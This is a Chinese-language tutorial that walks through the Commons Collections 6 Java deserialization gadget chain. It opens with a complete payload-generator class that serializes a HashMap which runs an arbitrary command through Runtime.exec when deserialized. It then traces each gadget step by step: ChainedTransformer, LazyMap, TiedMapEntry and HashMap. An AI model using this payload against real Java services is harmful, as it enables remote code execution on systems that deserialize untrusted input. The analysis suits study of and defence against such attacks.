目录
链条代码跟进
ChainedTransformer.transform()
LazyMap.get()
TiedMapEntry.getValue()
TiedMapEntry.hashCode()
HashMap.hash()
HashMap.put()的意外触发
LazyMap.get()中key的包含问题
cc6的payload如下
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CommonsCollections6 { public byte[] getPayload(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }
Transformer[]数组分析
首先不看第一行的faketransformer,直接来看第二个数组
数组内new了5个对象,咱们分别来说
1.
new ConstantTransformer(Runtime.class),
咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段
2.
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
这里就不说了,三个赋值
主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用
假如可以调用这个transform方法,把我们的参数传进入会发生什么?
这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试
3.
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空
4.
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }),
同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)
5.
new ConstantTransformer(1),
方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用
链条代码跟进
ChainedTransformer.transform()
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组
我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用
先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点
首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class
此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()
此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()
iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)
所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法
整理一下链条
Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()
LazyMap.get()
接下来就需要我们的LazyMap上场了
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法
再跟LazyMap构造方法
可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory
终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload
TiedMapEntry.getValue()
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法
一番寻找后,发现TiedMapEntry.getValue()可以触发
到这里,我们整理一下链条
Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()
TiedMapEntry.hashCode()
寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以
再找谁能调用TiedMapEntry.hashCode()
HashMap.hash()
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
跟进代码,就是将tme作为键,"valuevalue"作为值
此时key为TiedMapEntry,所以就找谁调用了hashcode方法
刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload
最后整理一下链条
Runtime.getRuntime().exec()